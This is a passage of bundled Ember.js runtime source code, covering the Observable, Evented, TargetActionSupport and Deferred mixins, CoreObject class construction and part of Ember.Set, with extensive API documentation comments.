removeObject: function(obj) { var loc = get(this, 'length') || 0; while(--loc >= 0) { var curObject = this.objectAt(loc) ; if (curObject === obj) this.removeAt(loc) ; } return this ; }, addObject: function(obj) { if (!this.contains(obj)) this.pushObject(obj); return this ; } }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set, defineProperty = Ember.defineProperty; /** ## Overview This mixin provides properties and property observing functionality, core features of the Ember object model. Properties and observers allow one object to observe changes to a property on another object. This is one of the fundamental ways that models, controllers and views communicate with each other in an Ember application. Any object that has this mixin applied can be used in observer operations. That includes `Ember.Object` and most objects you will interact with as you write your Ember application. Note that you will not generally apply this mixin to classes yourself, but you will use the features provided by this module frequently, so it is important to understand how to use it. ## Using `get()` and `set()` Because of Ember's support for bindings and observers, you will always access properties using the get method, and set properties using the set method. This allows the observing objects to be notified and computed properties to be handled properly. More documentation about `get` and `set` are below. ## Observing Property Changes You typically observe property changes simply by adding the `observes` call to the end of your method declarations in classes that you write. For example: ```javascript Ember.Object.create({ valueObserver: function() { // Executes whenever the "value" property changes }.observes('value') }); ``` Although this is the most common way to add an observer, this capability is actually built into the `Ember.Object` class on top of two methods defined in this mixin: `addObserver` and `removeObserver`. You can use these two methods to add and remove observers yourself if you need to do so at runtime. To add an observer for a property, call: ```javascript object.addObserver('propertyKey', targetObject, targetAction) ``` This will call the `targetAction` method on the `targetObject` to be called whenever the value of the `propertyKey` changes. Note that if `propertyKey` is a computed property, the observer will be called when any of the property dependencies are changed, even if the resulting value of the computed property is unchanged. This is necessary because computed properties are not computed until `get` is called. @class Observable @namespace Ember @extends Ember.Mixin */ Ember.Observable = Ember.Mixin.create(/** @scope Ember.Observable.prototype */ { /** Retrieves the value of a property from the object. This method is usually similar to using `object[keyName]` or `object.keyName`, however it supports both computed properties and the unknownProperty handler. Because `get` unifies the syntax for accessing all these kinds of properties, it can make many refactorings easier, such as replacing a simple property with a computed property, or vice versa. ### Computed Properties Computed properties are methods defined with the `property` modifier declared at the end, such as: ```javascript fullName: function() { return this.getEach('firstName', 'lastName').compact().join(' '); }.property('firstName', 'lastName') ``` When you call `get` on a computed property, the function will be called and the return value will be returned instead of the function itself. ### Unknown Properties Likewise, if you try to call `get` on a property whose value is `undefined`, the `unknownProperty()` method will be called on the object. If this method returns any value other than `undefined`, it will be returned instead. This allows you to implement "virtual" properties that are not defined upfront. @method get @param {String} key The property to retrieve @return {Object} The property value or undefined. */ get: function(keyName) { return get(this, keyName); }, /** To get multiple properties at once, call `getProperties` with a list of strings or an array: ```javascript record.getProperties('firstName', 'lastName', 'zipCode'); // { firstName: 'John', lastName: 'Doe', zipCode: '10011' } ``` is equivalent to: ```javascript record.getProperties(['firstName', 'lastName', 'zipCode']); // { firstName: 'John', lastName: 'Doe', zipCode: '10011' } ``` @method getProperties @param {String...|Array} list of keys to get @return {Hash} */ getProperties: function() { var ret = {}; var propertyNames = arguments; if (arguments.length === 1 && Ember.typeOf(arguments[0]) === 'array') { propertyNames = arguments[0]; } for(var i = 0; i < propertyNames.length; i++) { ret[propertyNames[i]] = get(this, propertyNames[i]); } return ret; }, /** Sets the provided key or path to the value. This method is generally very similar to calling `object[key] = value` or `object.key = value`, except that it provides support for computed properties, the `unknownProperty()` method and property observers. ### Computed Properties If you try to set a value on a key that has a computed property handler defined (see the `get()` method for an example), then `set()` will call that method, passing both the value and key instead of simply changing the value itself. This is useful for those times when you need to implement a property that is composed of one or more member properties. ### Unknown Properties If you try to set a value on a key that is undefined in the target object, then the `unknownProperty()` handler will be called instead. This gives you an opportunity to implement complex "virtual" properties that are not predefined on the object. If `unknownProperty()` returns undefined, then `set()` will simply set the value on the object. ### Property Observers In addition to changing the property, `set()` will also register a property change with the object. Unless you have placed this call inside of a `beginPropertyChanges()` and `endPropertyChanges(),` any "local" observers (i.e. observer methods declared on the same object), will be called immediately. Any "remote" observers (i.e. observer methods declared on another object) will be placed in a queue and called at a later time in a coalesced manner. ### Chaining In addition to property changes, `set()` returns the value of the object itself so you can do chaining like this: ```javascript record.set('firstName', 'Charles').set('lastName', 'Jolley'); ``` @method set @param {String} key The property to set @param {Object} value The value to set or `null`. @return {Ember.Observable} */ set: function(keyName, value) { set(this, keyName, value); return this; }, /** To set multiple properties at once, call `setProperties` with a Hash: ```javascript record.setProperties({ firstName: 'Charles', lastName: 'Jolley' }); ``` @method setProperties @param {Hash} hash the hash of keys and values to set @return {Ember.Observable} */ setProperties: function(hash) { return Ember.setProperties(this, hash); }, /** Begins a grouping of property changes. You can use this method to group property changes so that notifications will not be sent until the changes are finished. If you plan to make a large number of changes to an object at one time, you should call this method at the beginning of the changes to begin deferring change notifications. When you are done making changes, call `endPropertyChanges()` to deliver the deferred change notifications and end deferring. @method beginPropertyChanges @return {Ember.Observable} */ beginPropertyChanges: function() { Ember.beginPropertyChanges(); return this; }, /** Ends a grouping of property changes. You can use this method to group property changes so that notifications will not be sent until the changes are finished. If you plan to make a large number of changes to an object at one time, you should call `beginPropertyChanges()` at the beginning of the changes to defer change notifications. When you are done making changes, call this method to deliver the deferred change notifications and end deferring. @method endPropertyChanges @return {Ember.Observable} */ endPropertyChanges: function() { Ember.endPropertyChanges(); return this; }, /** Notify the observer system that a property is about to change. Sometimes you need to change a value directly or indirectly without actually calling `get()` or `set()` on it. In this case, you can use this method and `propertyDidChange()` instead. Calling these two methods together will notify all observers that the property has potentially changed value. Note that you must always call `propertyWillChange` and `propertyDidChange` as a pair. If you do not, it may get the property change groups out of order and cause notifications to be delivered more often than you would like. @method propertyWillChange @param {String} key The property key that is about to change. @return {Ember.Observable} */ propertyWillChange: function(keyName){ Ember.propertyWillChange(this, keyName); return this; }, /** Notify the observer system that a property has just changed. Sometimes you need to change a value directly or indirectly without actually calling `get()` or `set()` on it. In this case, you can use this method and `propertyWillChange()` instead. Calling these two methods together will notify all observers that the property has potentially changed value. Note that you must always call `propertyWillChange` and `propertyDidChange` as a pair. If you do not, it may get the property change groups out of order and cause notifications to be delivered more often than you would like. @method propertyDidChange @param {String} keyName The property key that has just changed. @return {Ember.Observable} */ propertyDidChange: function(keyName) { Ember.propertyDidChange(this, keyName); return this; }, /** Convenience method to call `propertyWillChange` and `propertyDidChange` in succession. @method notifyPropertyChange @param {String} keyName The property key to be notified about. @return {Ember.Observable} */ notifyPropertyChange: function(keyName) { this.propertyWillChange(keyName); this.propertyDidChange(keyName); return this; }, addBeforeObserver: function(key, target, method) { Ember.addBeforeObserver(this, key, target, method); }, /** Adds an observer on a property. This is the core method used to register an observer for a property. Once you call this method, anytime the key's value is set, your observer will be notified. Note that the observers are triggered anytime the value is set, regardless of whether it has actually changed. Your observer should be prepared to handle that. You can also pass an optional context parameter to this method. The context will be passed to your observer method whenever it is triggered. Note that if you add the same target/method pair on a key multiple times with different context parameters, your observer will only be called once with the last context you passed. ### Observer Methods Observer methods you pass should generally have the following signature if you do not pass a `context` parameter: ```javascript fooDidChange: function(sender, key, value, rev) { }; ``` The sender is the object that changed. The key is the property that changes. The value property is currently reserved and unused. The rev is the last property revision of the object when it changed, which you can use to detect if the key value has really changed or not. If you pass a `context` parameter, the context will be passed before the revision like so: ```javascript fooDidChange: function(sender, key, value, context, rev) { }; ``` Usually you will not need the value, context or revision parameters at the end. In this case, it is common to write observer methods that take only a sender and key value as parameters or, if you aren't interested in any of these values, to write an observer that has no parameters at all. @method addObserver @param {String} key The key to observer @param {Object} target The target object to invoke @param {String|Function} method The method to invoke. @return {Ember.Object} self */ addObserver: function(key, target, method) { Ember.addObserver(this, key, target, method); }, /** Remove an observer you have previously registered on this object. Pass the same key, target, and method you passed to `addObserver()` and your target will no longer receive notifications. @method removeObserver @param {String} key The key to observer @param {Object} target The target object to invoke @param {String|Function} method The method to invoke. @return {Ember.Observable} receiver */ removeObserver: function(key, target, method) { Ember.removeObserver(this, key, target, method); }, /** Returns `true` if the object currently has observers registered for a particular key. You can use this method to potentially defer performing an expensive action until someone begins observing a particular property on the object. @method hasObserverFor @param {String} key Key to check @return {Boolean} */ hasObserverFor: function(key) { return Ember.hasListeners(this, key+':change'); }, /** @deprecated @method getPath @param {String} path The property path to retrieve @return {Object} The property value or undefined. */ getPath: function(path) { return this.get(path); }, /** @deprecated @method setPath @param {String} path The path to the property that will be set @param {Object} value The value to set or `null`. @return {Ember.Observable} */ setPath: function(path, value) { return this.set(path, value); }, /** Retrieves the value of a property, or a default value in the case that the property returns `undefined`. ```javascript person.getWithDefault('lastName', 'Doe'); ``` @method getWithDefault @param {String} keyName The name of the property to retrieve @param {Object} defaultValue The value to return if the property value is undefined @return {Object} The property value or the defaultValue. */ getWithDefault: function(keyName, defaultValue) { return Ember.getWithDefault(this, keyName, defaultValue); }, /** Set the value of a property to the current value plus some amount. ```javascript person.incrementProperty('age'); team.incrementProperty('score', 2); ``` @method incrementProperty @param {String} keyName The name of the property to increment @param {Object} increment The amount to increment by. Defaults to 1 @return {Object} The new property value */ incrementProperty: function(keyName, increment) { if (!increment) { increment = 1; } set(this, keyName, (get(this, keyName) || 0)+increment); return get(this, keyName); }, /** Set the value of a property to the current value minus some amount. ```javascript player.decrementProperty('lives'); orc.decrementProperty('health', 5); ``` @method decrementProperty @param {String} keyName The name of the property to decrement @param {Object} increment The amount to decrement by. Defaults to 1 @return {Object} The new property value */ decrementProperty: function(keyName, increment) { if (!increment) { increment = 1; } set(this, keyName, (get(this, keyName) || 0)-increment); return get(this, keyName); }, /** Set the value of a boolean property to the opposite of it's current value. ```javascript starship.toggleProperty('warpDriveEnaged'); ``` @method toggleProperty @param {String} keyName The name of the property to toggle @return {Object} The new property value */ toggleProperty: function(keyName) { set(this, keyName, !get(this, keyName)); return get(this, keyName); }, /** Returns the cached value of a computed property, if it exists. This allows you to inspect the value of a computed property without accidentally invoking it if it is intended to be generated lazily. @method cacheFor @param {String} keyName @return {Object} The cached value of the computed property, if any */ cacheFor: function(keyName) { return Ember.cacheFor(this, keyName); }, // intended for debugging purposes observersForKey: function(keyName) { return Ember.observersFor(this, keyName); } }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set; /** @class TargetActionSupport @namespace Ember @extends Ember.Mixin */ Ember.TargetActionSupport = Ember.Mixin.create({ target: null, action: null, targetObject: Ember.computed(function() { var target = get(this, 'target'); if (Ember.typeOf(target) === "string") { var value = get(this, target); if (value === undefined) { value = get(Ember.lookup, target); } return value; } else { return target; } }).property('target'), triggerAction: function() { var action = get(this, 'action'), target = get(this, 'targetObject'); if (target && action) { var ret; if (typeof target.send === 'function') { ret = target.send(action, this); } else { if (typeof action === 'string') { action = target[action]; } ret = action.call(target, this); } if (ret !== false) ret = true; return ret; } else { return false; } } }); })(); (function() { /** @module ember @submodule ember-runtime */ /** This mixin allows for Ember objects to subscribe to and emit events. ```javascript App.Person = Ember.Object.extend(Ember.Evented, { greet: function() { // ... this.trigger('greet'); } }); var person = App.Person.create(); person.on('greet', function() { console.log('Our person has greeted'); }); person.greet(); // outputs: 'Our person has greeted' ``` @class Evented @namespace Ember @extends Ember.Mixin */ Ember.Evented = Ember.Mixin.create({ /** Subscribes to a named event with given function. ```javascript person.on('didLoad', function() { // fired once the person has loaded }); ``` An optional target can be passed in as the 2nd argument that will be set as the "this" for the callback. This is a good way to give your function access to the object triggering the event. When the target parameter is used the callback becomes the third argument. @method on @param {String} name The name of the event @param {Object} [target] The "this" binding for the callback @param {Function} method The callback to execute */ on: function(name, target, method) { Ember.addListener(this, name, target, method); }, /** Subscribes a function to a named event and then cancels the subscription after the first time the event is triggered. It is good to use ``one`` when you only care about the first time an event has taken place. This function takes an optional 2nd argument that will become the "this" value for the callback. If this argument is passed then the 3rd argument becomes the function. @method one @param {String} name The name of the event @param {Object} [target] The "this" binding for the callback @param {Function} method The callback to execute */ one: function(name, target, method) { if (!method) { method = target; target = null; } Ember.addListener(this, name, target, method, true); }, /** Triggers a named event for the object. Any additional arguments will be passed as parameters to the functions that are subscribed to the event. ```javascript person.on('didEat', food) { console.log('person ate some ' + food); }); person.trigger('didEat', 'broccoli'); // outputs: person ate some broccoli ``` @method trigger @param {String} name The name of the event @param {Object...} args Optional arguments to pass on */ trigger: function(name) { var args = [], i, l; for (i = 1, l = arguments.length; i < l; i++) { args.push(arguments[i]); } Ember.sendEvent(this, name, args); }, fire: function(name) { this.trigger.apply(this, arguments); }, /** Cancels subscription for give name, target, and method. @method off @param {String} name The name of the event @param {Object} target The target of the subscription @param {Function} method The function of the subscription */ off: function(name, target, method) { Ember.removeListener(this, name, target, method); }, /** Checks to see if object has any subscriptions for named event. @method has @param {String} name The name of the event @return {Boolean} does the object have a subscription for event */ has: function(name) { return Ember.hasListeners(this, name); } }); })(); (function() { var RSVP = requireModule("rsvp"); RSVP.async = function(callback, binding) { Ember.run.schedule('actions', binding, callback); }; /** @module ember @submodule ember-runtime */ var get = Ember.get, slice = Array.prototype.slice; /** @class Deferred @namespace Ember @extends Ember.Mixin */ Ember.DeferredMixin = Ember.Mixin.create({ /** Add handlers to be called when the Deferred object is resolved or rejected. @method then @param {Function} doneCallback a callback function to be called when done @param {Function} failCallback a callback function to be called when failed */ then: function(doneCallback, failCallback) { var promise = get(this, 'promise'); return promise.then.apply(promise, arguments); }, /** Resolve a Deferred object and call any `doneCallbacks` with the given args. @method resolve */ resolve: function(value) { get(this, 'promise').resolve(value); }, /** Reject a Deferred object and call any `failCallbacks` with the given args. @method reject */ reject: function(value) { get(this, 'promise').reject(value); }, promise: Ember.computed(function() { return new RSVP.Promise(); }) }); })(); (function() { })(); (function() { Ember.Container = requireModule('container'); Ember.Container.set = Ember.set; })(); (function() { /** @module ember @submodule ember-runtime */ // NOTE: this object should never be included directly. Instead use Ember. // Ember.Object. We only define this separately so that Ember.Set can depend on it var set = Ember.set, get = Ember.get, o_create = Ember.create, o_defineProperty = Ember.platform.defineProperty, a_slice = Array.prototype.slice, GUID_KEY = Ember.GUID_KEY, guidFor = Ember.guidFor, generateGuid = Ember.generateGuid, meta = Ember.meta, rewatch = Ember.rewatch, finishChains = Ember.finishChains, destroy = Ember.destroy, schedule = Ember.run.schedule, Mixin = Ember.Mixin, applyMixin = Mixin._apply, finishPartial = Mixin.finishPartial, reopen = Mixin.prototype.reopen, MANDATORY_SETTER = Ember.ENV.MANDATORY_SETTER, indexOf = Ember.EnumerableUtils.indexOf; var undefinedDescriptor = { configurable: true, writable: true, enumerable: false, value: undefined }; function makeCtor() { // Note: avoid accessing any properties on the object since it makes the // method a lot faster. This is glue code so we want it to be as fast as // possible. var wasApplied = false, initMixins, initProperties; var Class = function() { if (!wasApplied) { Class.proto(); // prepare prototype... } o_defineProperty(this, GUID_KEY, undefinedDescriptor); o_defineProperty(this, '_super', undefinedDescriptor); var m = meta(this); m.proto = this; if (initMixins) { // capture locally so we can clear the closed over variable var mixins = initMixins; initMixins = null; this.reopen.apply(this, mixins); } if (initProperties) { // capture locally so we can clear the closed over variable var props = initProperties; initProperties = null; var concatenatedProperties = this.concatenatedProperties; for (var i = 0, l = props.length; i < l; i++) { var properties = props[i]; for (var keyName in properties) { if (!properties.hasOwnProperty(keyName)) { continue; } var value = properties[keyName], IS_BINDING = Ember.IS_BINDING; if (IS_BINDING.test(keyName)) { var bindings = m.bindings; if (!bindings) { bindings = m.bindings = {}; } else if (!m.hasOwnProperty('bindings')) { bindings = m.bindings = o_create(m.bindings); } bindings[keyName] = value; } var desc = m.descs[keyName]; if (concatenatedProperties && indexOf(concatenatedProperties, keyName) >= 0) { var baseValue = this[keyName]; if (baseValue) { if ('function' === typeof baseValue.concat) { value = baseValue.concat(value); } else { value = Ember.makeArray(baseValue).concat(value); } } else { value = Ember.makeArray(value); } } if (desc) { desc.set(this, keyName, value); } else { if (typeof this.setUnknownProperty === 'function' && !(keyName in this)) { this.setUnknownProperty(keyName, value); } else if (MANDATORY_SETTER) { Ember.defineProperty(this, keyName, null, value); // setup mandatory setter } else { this[keyName] = value; } } } } } finishPartial(this, m); delete m.proto; finishChains(this); this.init.apply(this, arguments); }; Class.toString = Mixin.prototype.toString; Class.willReopen = function() { if (wasApplied) { Class.PrototypeMixin = Mixin.create(Class.PrototypeMixin); } wasApplied = false; }; Class._initMixins = function(args) { initMixins = args; }; Class._initProperties = function(args) { initProperties = args; }; Class.proto = function() { var superclass = Class.superclass; if (superclass) { superclass.proto(); } if (!wasApplied) { wasApplied = true; Class.PrototypeMixin.applyPartial(Class.prototype); rewatch(Class.prototype); } return this.prototype; }; return Class; } var CoreObject = makeCtor(); CoreObject.toString = function() { return "Ember.CoreObject"; }; CoreObject.PrototypeMixin = Mixin.create({ reopen: function() { applyMixin(this, arguments, true); return this; }, isInstance: true, init: function() {}, /** Defines the properties that will be concatenated from the superclass (instead of overridden). By default, when you extend an Ember class a property defined in the subclass overrides a property with the same name that is defined in the superclass. However, there are some cases where it is preferable to build up a property's value by combining the superclass' property value with the subclass' value. An example of this in use within Ember is the `classNames` property of `Ember.View`. Here is some sample code showing the difference between a concatenated property and a normal one: ```javascript App.BarView = Ember.View.extend({ someNonConcatenatedProperty: ['bar'], classNames: ['bar'] }); App.FooBarView = App.BarView.extend({ someNonConcatenatedProperty: ['foo'], classNames: ['foo'], }); var fooBarView = App.FooBarView.create(); fooBarView.get('someNonConcatenatedProperty'); // ['foo'] fooBarView.get('classNames'); // ['ember-view', 'bar', 'foo'] ``` This behavior extends to object creation as well. Continuing the above example: ```javascript var view = App.FooBarView.create({ someNonConcatenatedProperty: ['baz'], classNames: ['baz'] }) view.get('someNonConcatenatedProperty'); // ['baz'] view.get('classNames'); // ['ember-view', 'bar', 'foo', 'baz'] ``` Adding a single property that is not an array will just add it in the array: ```javascript var view = App.FooBarView.create({ classNames: 'baz' }) view.get('classNames'); // ['ember-view', 'bar', 'foo', 'baz'] ``` Using the `concatenatedProperties` property, we can tell to Ember that mix the content of the properties. In `Ember.View` the `classNameBindings` and `attributeBindings` properties are also concatenated, in addition to `classNames`. This feature is available for you to use throughout the Ember object model, although typical app developers are likely to use it infrequently. @property concatenatedProperties @type Array @default null */ concatenatedProperties: null, /** @property isDestroyed @default false */ isDestroyed: false, /** @property isDestroying @default false */ isDestroying: false, /** Destroys an object by setting the `isDestroyed` flag and removing its metadata, which effectively destroys observers and bindings. If you try to set a property on a destroyed object, an exception will be raised. Note that destruction is scheduled for the end of the run loop and does not happen immediately. @method destroy @return {Ember.Object} receiver */ destroy: function() { if (this._didCallDestroy) { return; } this.isDestroying = true; this._didCallDestroy = true; if (this.willDestroy) { this.willDestroy(); } schedule('destroy', this, this._scheduledDestroy); return this; }, /** @private Invoked by the run loop to actually destroy the object. This is scheduled for execution by the `destroy` method. @method _scheduledDestroy */ _scheduledDestroy: function() { destroy(this); set(this, 'isDestroyed', true); if (this.didDestroy) { this.didDestroy(); } }, bind: function(to, from) { if (!(from instanceof Ember.Binding)) { from = Ember.Binding.from(from); } from.to(to).connect(this); return from; }, /** Returns a string representation which attempts to provide more information than Javascript's `toString` typically does, in a generic way for all Ember objects. App.Person = Em.Object.extend() person = App.Person.create() person.toString() //=> "<App.Person:ember1024>" If the object's class is not defined on an Ember namespace, it will indicate it is a subclass of the registered superclass: Student = App.Person.extend() student = Student.create() student.toString() //=> "<(subclass of App.Person):ember1025>" If the method `toStringExtension` is defined, its return value will be included in the output. App.Teacher = App.Person.extend({ toStringExtension: function(){ return this.get('fullName'); } }); teacher = App.Teacher.create() teacher.toString(); // #=> "<App.Teacher:ember1026:Tom Dale>" @method toString @return {String} string representation */ toString: function toString() { var hasToStringExtension = typeof this.toStringExtension === 'function', extension = hasToStringExtension ? ":" + this.toStringExtension() : ''; var ret = '<'+this.constructor.toString()+':'+guidFor(this)+extension+'>'; this.toString = makeToString(ret); return ret; } }); CoreObject.PrototypeMixin.ownerConstructor = CoreObject; function makeToString(ret) { return function() { return ret; }; } if (Ember.config.overridePrototypeMixin) { Ember.config.overridePrototypeMixin(CoreObject.PrototypeMixin); } CoreObject.__super__ = null; var ClassMixin = Mixin.create({ ClassMixin: Ember.required(), PrototypeMixin: Ember.required(), isClass: true, isMethod: false, extend: function() { var Class = makeCtor(), proto; Class.ClassMixin = Mixin.create(this.ClassMixin); Class.PrototypeMixin = Mixin.create(this.PrototypeMixin); Class.ClassMixin.ownerConstructor = Class; Class.PrototypeMixin.ownerConstructor = Class; reopen.apply(Class.PrototypeMixin, arguments); Class.superclass = this; Class.__super__ = this.prototype; proto = Class.prototype = o_create(this.prototype); proto.constructor = Class; generateGuid(proto, 'ember'); meta(proto).proto = proto; // this will disable observers on prototype Class.ClassMixin.apply(Class); return Class; }, createWithMixins: function() { var C = this; if (arguments.length>0) { this._initMixins(arguments); } return new C(); }, create: function() { var C = this; if (arguments.length>0) { this._initProperties(arguments); } return new C(); }, reopen: function() { this.willReopen(); reopen.apply(this.PrototypeMixin, arguments); return this; }, reopenClass: function() { reopen.apply(this.ClassMixin, arguments); applyMixin(this, arguments, false); return this; }, detect: function(obj) { if ('function' !== typeof obj) { return false; } while(obj) { if (obj===this) { return true; } obj = obj.superclass; } return false; }, detectInstance: function(obj) { return obj instanceof this; }, /** In some cases, you may want to annotate computed properties with additional metadata about how they function or what values they operate on. For example, computed property functions may close over variables that are then no longer available for introspection. You can pass a hash of these values to a computed property like this: ```javascript person: function() { var personId = this.get('personId'); return App.Person.create({ id: personId }); }.property().meta({ type: App.Person }) ``` Once you've done this, you can retrieve the values saved to the computed property from your class like this: ```javascript MyClass.metaForProperty('person'); ``` This will return the original hash that was passed to `meta()`. @method metaForProperty @param key {String} property name */ metaForProperty: function(key) { var desc = meta(this.proto(), false).descs[key]; return desc._meta || {}; }, /** Iterate over each computed property for the class, passing its name and any associated metadata (see `metaForProperty`) to the callback. @method eachComputedProperty @param {Function} callback @param {Object} binding */ eachComputedProperty: function(callback, binding) { var proto = this.proto(), descs = meta(proto).descs, empty = {}, property; for (var name in descs) { property = descs[name]; if (property instanceof Ember.ComputedProperty) { callback.call(binding || this, name, property._meta || empty); } } } }); ClassMixin.ownerConstructor = CoreObject; if (Ember.config.overrideClassMixin) { Ember.config.overrideClassMixin(ClassMixin); } CoreObject.ClassMixin = ClassMixin; ClassMixin.apply(CoreObject); /** @class CoreObject @namespace Ember */ Ember.CoreObject = CoreObject; })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set, guidFor = Ember.guidFor, none = Ember.isNone; /** An unordered collection of objects. A Set works a bit like an array except that its items are not ordered. You can create a set to efficiently test for membership for an object. You can also iterate through a set just like an array, even accessing objects by index, however there is no guarantee as to their order. All Sets are observable via the Enumerable Observer API - which works on any enumerable object including both Sets and Arrays. ## Creating a Set You can create a set like you would most objects using `new Ember.Set()`. Most new sets you create will be empty, but you can also initialize the set with some content by passing an array or other enumerable of objects to the constructor. Finally, you can pass in an existing set and the set will be copied. You can also create a copy of a set by calling `Ember.Set#copy()`. ```javascript // creates a new empty set var foundNames = new Ember.Set(); // creates a set with four names in it. var names = new Ember.Set(["Charles", "Tom", "Juan", "Alex"]); // :P // creates a copy of the names set. var namesCopy = new Ember.Set(names); // same as above. var anotherNamesCopy = names.copy(); ``` ## Adding/Removing Objects You generally add or remove objects from a set using `add()` or `remove()`. You can add any type of object including primitives such as numbers, strings, and booleans. Unlike arrays, objects can only exist one time in a set. If you call `add()` on a set with the same object multiple times, the object will only be added once. Likewise, calling `remove()` with the same object multiple times will remove the object the first time and have no effect on future calls until you add the object to the set again. NOTE: You cannot add/remove `null` or `undefined` to a set. Any attempt to do so will be ignored. In addition to add/remove you can also call `push()`/`pop()`. Push behaves just like `add()` but `pop()`, unlike `remove()` will pick an arbitrary object, remove it and return it. This is a good way to use a set as a job queue when you don't care which order the jobs are executed in. ## Testing for an Object To test for an object's presence in a set you simply call `Ember.Set#contains()`. ## Observing changes When using `Ember.Set`, you can observe the `"[]"` property to be alerted whenever the content changes. You can also add an enumerable observer to the set to be notified of specific objects that are added and removed from the set. See `Ember.Enumerable` for more information on enumerables. This is often unhelpful. If you are filtering sets of objects, for instance, it is very inefficient to re-filter all of the items each time the set changes. It would be better if you could just adjust the filtered set based on what was changed on the original set. The same issue applies to merging sets, as well. ## Other Methods `Ember.Set` primary implements other mixin APIs. For a complete reference on the methods you will use with `Ember.Set`, please consult these mixins. The most useful ones will be `Ember.Enumerable` and `Ember.MutableEnumerable` which implement most of the common iterator methods you are used to on Array. Note that you can also use the `Ember.Copyable` and `Ember.Freezable` APIs on `Ember.Set` as well. Once a set is frozen it can no longer be modified. The benefit of this is that when you call `frozenCopy()` on it, Ember will avoid making copies of the set. This allows you to write code that can know with certainty when the underlying set data will or will not be modified. @class Set @namespace Ember @extends Ember.CoreObject @uses Ember.MutableEnumerable @uses Ember.Copyable @uses Ember.Freezable @since Ember 0.9 */ Ember.Set = Ember.CoreObject.extend(Ember.MutableEnumerable, Ember.Copyable, Ember.Freezable, /** @scope Ember.Set.prototype */ { // .......................................................... // IMPLEMENT ENUMERABLE APIS // /** This property will change as the number of objects in the set changes. @property length @type number @default 0 */ length: 0, /** Clears the set. This is useful if you want to reuse an existing set without having to recreate it. ```javascript var colors = new Ember.Set(["red", "green", "blue"]); colors.length; // 3 colors.clear(); colors.length; // 0 ``` @method clear @return {Ember.Set} An empty Set */ clear: function() { if (this.isFrozen) { throw new Error(Ember.FROZEN_ERROR); } var len = get(this, 'length'); if (len === 0) { return this; } var guid; this.enumerableContentWillChange(len, 0); Ember.propertyWillChange(this, 'firstObject'); Ember.propertyWillChange(this, 'lastObject'); for (var i=0; i < len; i++){ guid = guidFor(this[i]); delete this[guid]; delete this[i]; } set(this, 'length', 0); Ember.propertyDidChange(this, 'firstObject'); Ember.propertyDidChange(this, 'lastObject'); this.enumerableContentDidChange(len, 0); return this; }, /** Returns true if the passed object is also an enumerable that contains the same objects as the receiver. ```javascript var colors = ["red", "green", "blue"], same_colors = new Ember.Set(colors); same_colors.isEqual(colors); // true same_colors.isEqual(["purple", "brown"]); // false ``` @method isEqual @param {Ember.Set} obj the other object. @return {Boolean} */ isEqual: function(obj) { // fail fast if (!Ember.Enumerable.detect(obj)) return false; var loc = get(this, 'length'); if (get(obj, 'length') !== loc) return false; while(--loc >= 0) { if (!obj.contains(this[loc])) return false; } return true; }, /** Adds an object to the set. Only non-`null` objects can be added to a set and those can only be added once. If the object is already in the set or the passed value is null this method will have no effect. This is an alias for `Ember.MutableEnumerable.addObject()`. ```javascript var colors = new Ember.Set(); colors.add("blue"); // ["blue"] colors.add("blue"); // ["blue"] colors.add("red"); // ["blue", "red"] colors.add(null); // ["blue", "red"] colors.add(undefined); // ["blue", "red"] ``` @method add @param {Object} obj The object to add. @return {Ember.Set} The set itself. */ add: Ember.aliasMethod('addObject'), /** Removes the object from the set if it is found. If you pass a `null` value or an object that is already not in the set, this method will have no effect. This is an alias for `Ember.MutableEnumerable.removeObject()`. ```javascript var colors = new Ember.Set(["red", "green", "blue"]); colors.remove("red"); // ["blue", "green"] colors.remove("purple"); // ["blue", "green"] colors.remove(null); // ["blue", "green"] ``` @method remove @param {Object} obj The object to remove @return {Ember.Set} The set itself. */ remove: Ember.aliasMethod('removeObject'), /** Removes the last element from the set and returns it, or `null` if it's empty. ```javascript var colors = new Ember.Set(["green", "blue"]); colors.pop(); // "blue" colors.pop(); // "green" colors.pop(); // null ``` @method pop @return {Object} The removed object from the set or null. */ pop: function() { if (get(this, 'isFrozen')) throw new Error(Ember.FROZEN_ERROR); var obj = this.length > 0 ? this[this.length-1] : null; this.remove(obj); return obj; }, /** Inserts the given object on to the end of the set. It returns the set itself. This is an alias for `Ember.MutableEnumerable.addObject()`. ```javascript var colors = new Ember.Set(); colors.push("red"); // ["red"] colors.push("green"); // ["red", "green"] colors.push("blue"); // ["red", "green", "blue"] ``` @method push @return {Ember.Set} The set itself. */ push: Ember.aliasMethod('addObject'), /** Removes the last element from the set and returns it, or `null` if it's empty. This is an alias for `Ember.Set.pop()`. ```javascript var colors = new Ember.Set(["green", "blue"]); colors.shift(); // "blue" colors.shift(); // "green" colors.shift(); // null ``` @method shift @return {Object} The removed object from the set or null. */ shift: Ember.aliasMethod('pop'), /** Inserts the given object on to the end of the set. It returns the set itself. This is an alias of `Ember.Set.push()` ```javascript var colors = new Ember.Set(); colors.unshift("red"); // ["red"] colors.unshift("green"); // ["red", "green"] colors.unshift("blue"); // ["red", "green", "blue"] ``` @method unshift @return {Ember.Set} The set itself. */ unshift: Ember.aliasMethod('push'), /** Adds each object in the passed enumerable to the set. This is an alias of `Ember.MutableEnumerable.addObjects()` ```javascript var colors = new Ember.Set(); colors.addEach(["red", "green", "blue"]); // ["red", "green", "blue"] ``` @method addEach @param {Ember.Enumerable} objects the objects to add. @return {Ember.Set} The set itself. */ addEach: Ember.aliasMethod('addObjects'), /** Removes each object in the passed enumerable to the set. This is an alias of `Ember.MutableEnumerable.removeObjects()` ```javascript var colors = new Ember.Set(["red", "green", "blue"]); colors.removeEach(["red", "blue"]); // ["green"] ``` @method removeEach @param {Ember.Enumerable} objects the objects to remove. @return {Ember.Set} The set itself. */ removeEach: Ember.aliasMethod('removeObjects'), // .......................................................... // PRIVATE ENUMERABLE SUPPORT // init: function(items) { this._super(); if (items) this.addObjects(items); }, // implement Ember.Enumerable nextObject: function(idx) { return this[idx]; }, // more optimized version firstObject: Ember.computed(function() { return this.length > 0 ? this[0] : undefined; }), // more optimized version lastObject: Ember.computed(function() { return this.length > 0 ? this[this.length-1] : undefined; }), // implements Ember.MutableEnumerable addObject: function(obj) { if (get(this, 'isFrozen')) throw new Error(Ember.FROZEN_ERROR); if (none(obj)) return this; // nothing to do var guid = guidFor(obj), idx = this[guid], len = get(this, 'length'), added ; if (idx>=0 && idx<len && (this[idx] === obj)) return this; // added added = [obj]; 